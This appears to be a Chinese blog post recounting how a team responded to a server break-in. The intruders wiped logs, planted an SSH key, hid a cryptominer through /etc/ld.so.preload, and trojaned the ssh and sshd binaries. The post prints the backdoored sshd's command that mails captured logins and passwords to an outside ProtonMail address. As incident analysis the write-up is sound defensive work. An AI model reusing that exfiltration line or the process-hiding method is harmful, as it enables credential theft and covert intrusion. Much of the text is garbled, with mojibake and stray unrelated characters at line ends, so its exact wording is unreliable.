剛?cè)肼毿鹿菊蒲犕抡f過公司有服務(wù)器中過挖礦病毒,當(dāng)時(shí)沒有特別在意
文中出現(xiàn)的xxx 和 yyy 都是在打賽克
1. 初次接觸
日期:x月15日
早上收到服務(wù)器報(bào)警齿梁,提示/etc/passwd文件被修改。
登錄服務(wù)器出現(xiàn)host key被修改提示创南;
檢查服務(wù)器上last和history 記錄被清空省核;
/var/log/secure被清空;
/var/log/messages被清空邻储;
.ssh/authorized_keys 被新增未知 pub key旧噪。
基于以上判斷:服務(wù)器被入侵了。
采取措施:
- 修改了涉及所有服務(wù)器的密碼
- 清除了ssh pub key
- 檢查異常進(jìn)程(未發(fā)現(xiàn))
- 檢查定時(shí)任務(wù)(未發(fā)現(xiàn))
2. 發(fā)現(xiàn)cpu利用率高
日期:x月20日
發(fā)現(xiàn)多個(gè)服務(wù)器cpu usr利用率 長期90%以上宦赠。
- 檢查進(jìn)程米母,卻未發(fā)現(xiàn)占用cpu高的進(jìn)程;
- 檢查網(wǎng)絡(luò)連接铁瞒,發(fā)現(xiàn)一個(gè)異常連接精拟,但是沒有對(duì)應(yīng)pid 虱歪;
ESTAB 0 0 10.3.x.x:48002 1xx.2xx.1xx.1xx:443
- 懷疑是中了挖礦病毒程序栅表,并隱藏了進(jìn)程;
- 從正常服務(wù)器上復(fù)制 ps netstat等命令文件到此服務(wù)器上怪瓶,執(zhí)行后仍無法查看到進(jìn)程;
- 發(fā)現(xiàn)服務(wù)器文件/etc/ld.so.preload找岖,該文件加載了某個(gè)異常的so文件敛滋,會(huì)導(dǎo)致服務(wù)器命令(ps\netstat\top )無法查看到挖礦進(jìn)程,刪除該文件蜜唾;
- 重新查看進(jìn)程庶艾,發(fā)現(xiàn)挖礦進(jìn)程為 ‘wipefs’、手動(dòng)kill掉該進(jìn)程颖榜,cpu利用率恢復(fù)
ps -ef |grep wipefs
root 7025 1 99 Xxx 15 ? 19-10:42:00 /usr/lib64/-l/.db/wipefs --library-path /usr/lib64/-l/.db /usr/lib64/-l/.db/x
3. 獲取密碼
日期:x+1月7日
又發(fā)現(xiàn)服務(wù)器運(yùn)行了挖礦程序wipefs
- 檢查服務(wù)器日志發(fā)現(xiàn)相關(guān)信息再次被清除
- 從一個(gè)被遺漏的messages日志中煤裙,發(fā)現(xiàn)其控制了某個(gè)測(cè)試服務(wù)器作為跳板
- 日志文件中記錄登錄方式是密碼,一次性成功(好奇怪啊藤为,沒有暴力破解)
- 考慮到事情比較嚴(yán)重夺刑,部署了安全監(jiān)測(cè)腳本
- 從掃描的結(jié)果來看
usr/lib/httpds: Win.Trojan.Tsunami-5 FOUND
----------- SCAN SUMMARY -----------
Known viruses: 6677493
Engine version: 0.100.1
Scanned directories: 11867
Scanned files: 95647
Infected files: 1
Data scanned: 7709.03 MB
Data read: 34049.43 MB (ratio 0.23:1)
Time: 3318.450 sec (55 m 18 s)
---------------------- Start Rootkit Hunter Scan ----------------------
Warning: Package manager verification has failed:
File: /usr/sbin/sshd
The file hash value has changed
The file size has changed
The file modification time has changed
Warning: Package manager verification has failed:
File: /usr/bin/ssh
The file hash value has changed
The file size has changed
The file modification time has changed
- 中了木馬病毒分别,同時(shí)發(fā)現(xiàn)對(duì)應(yīng)cron job和進(jìn)程
- ssh和sshd都被修改
- 進(jìn)一步分析sshd的行為:strace -p <sshd pid >耘斩,然后測(cè)試使用用戶名和密碼登錄
# 發(fā)現(xiàn)其有調(diào)用mail 發(fā)送郵件
echo pass_from: 10.3.x.x user: xxx pass: yyyy |mail -s "Salut sefu, am moutati" linuxxxxx@protonmail.com
這就找到了為什么密碼沒有暴力破解就被獲取到了(此前一度懷疑公司有內(nèi)鬼,當(dāng)然現(xiàn)在也沒排除這個(gè)可能)
那么protonmail.com郵箱到底是怎么樣的郵箱系統(tǒng)呢括授?
從官方介紹來看岩饼,摘取如下兩點(diǎn):
ProtonMail is incorporated in Switzerland and all our servers are located in Switzerland. This means all user data is protected by strict Swiss privacy laws.
No personal information is required to create your secure email account. By default, we do not keep any IP logs which can be linked to your anonymous email account. Your privacy comes first.
基本上可以認(rèn)定為入侵者的必備郵件系統(tǒng)籍茧,網(wǎng)上也可查詢到有的勒索病毒也使用此郵箱梯澜。
參考文檔
https://sysdig.com/blog/hiding-linux-processes-for-fun-and-profit/
https://paper.seebug.org/629/